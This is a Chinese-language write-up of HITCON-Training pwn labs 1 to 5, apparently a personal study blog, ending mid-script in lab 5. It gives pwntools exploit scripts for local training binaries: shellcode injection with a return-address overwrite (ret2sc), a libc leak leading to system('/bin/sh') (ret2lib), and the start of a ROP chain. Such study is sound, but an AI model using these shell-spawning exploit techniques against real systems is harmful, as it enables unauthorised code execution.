HITCON-trainning
2019.1.27
是一些好题目这几天准备重新做一遍预计两天之内完成现在做到lab7
题目地址:https://github.com/scwuaptx/HITCON-Training
lab1
比较简单的逆向题这里就不贴代码了,就是一个疑惑解码
lab2
一个普通的int0x80的一个shellcode编写这里就不多讲了感觉没有什么
lab3
ret2sc
原理比较简单就是输入shellcode然后ret到我们shellcode所在的地方
from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./ret2sc')
payload = shellcraft.sh()
raw_input()
p.recvuntil('Name:')
p.sendline(asm(payload))
p.recvuntil(':')
payload2 = 'a'*32+p32(0x804A060)
p.send(payload2)
p.interactive()
lab4
ret2lib
一个天然的给你的泄漏地址的函数,利用这个地址可以计算出偏移然后就可以getshell,这里我没有用onegadget,原来是想用的找不到我64位下32的libc文件了,所以用了lib函数来调用
from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./ret2lib')
a = ELF('./ret2lib')
e = a.libc
pay = 0x804A01C
p.recvuntil('Give me an address (in dec) :')
p.sendline(str(int(pay)))
p.recvuntil(':')
libc = int(p.recvuntil('\n')[1:11],16) - e.symbols['puts']
one = libc + e.symbols['system']
raw_input()
p.recvuntil('Leave some message for me :')
p.sendline('a'*0x3c+p32(one)+'bbbb'+p32(int(e.search('/bin/sh').next())+libc))
p.interactive()
lab5
simplerop
一个比较简单的rop,很明显的栈溢出漏洞,利用gadget搜索 ropchain然后就可以找到可以利用的rop,首先布置/bin/sh的地址然后在调用int0x80在进行系统调用。
from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./simplerop')
a = ELF('./simplerop')
e =